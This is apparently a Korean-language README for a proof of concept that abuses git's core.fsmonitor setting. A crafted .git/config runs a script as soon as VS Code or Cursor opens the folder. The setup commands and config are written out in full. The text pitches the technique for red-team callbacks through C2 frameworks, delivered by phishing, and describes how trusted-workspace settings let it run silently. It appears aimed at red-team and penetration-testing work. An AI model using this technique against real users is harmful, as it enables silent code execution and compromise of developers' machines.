
이것은 IDE를 대상으로 "fsmonitor"를 악용하는 개념 증명입니다.
이것은 문서화된 (알려진) 문제이지만, 제 연구 중에 발견했으며 RT/PT에 매우 유용합니다.
요약: FSMonitor 헬퍼는 git status, git diff 등 모든 명령어에서 git에 의해 실행되므로 git은 지정된 경로를 맹목적으로 실행합니다. IDE는 폴더를 열자마자 자동으로 git status를 실행하여 SCM(소스 제어 관리) 패널을 채웁니다.
이를 통해 git은 공격자가 제어하는 코드를 실행하도록 구성된 헬퍼를 생성할 수 있습니다. 이 기술은 RT 중이나 침해 가정 시나리오에서 모든 C2 또는 당사의 XRayC2와 함께 사용되어 기존 네트워크 방어를 우회하는 콜백을 얻을 수 있습니다. (물론 피싱 이메일로 최종 사용자를 속여야 하지만 IDE에서 폴더를 여는 것은 합리적인 작업으로 보입니다).
작동 증명: 이 리포지토리를 git clone하고 아래 구성을 .git 디렉토리에 추가하세요. 완료되면 IDE로 조작된 폴더를 열면 계산기가 나타납니다. (Code 및 Cursor에서 테스트했습니다). 이 POC는 macOS 전용이므로 환경에 맞게 수정하세요.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Code에서 테스트됨
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
이것은 리포지토리를 초기화한 다음 core.fsmonitor를 파일(페이로드가 될 수 있음)에 추가하기 때문에 작동합니다. 따라서 폴더를 여는 것만으로 코드를 실행할 수 있습니다. 대부분의 개발자/사용자는 ~/Downloads(및 유사한 최상위 폴더)를 신뢰된 작업 공간에 포함하고 있어 PoC가 조용히 실행됩니다. 그러나 리포지토리가 해당 신뢰 경로 밖에 있으면 IDE는 .git/config를 읽기 전에 "이 게시자를 신뢰하시겠습니까?"라는 프롬프트를 표시합니다.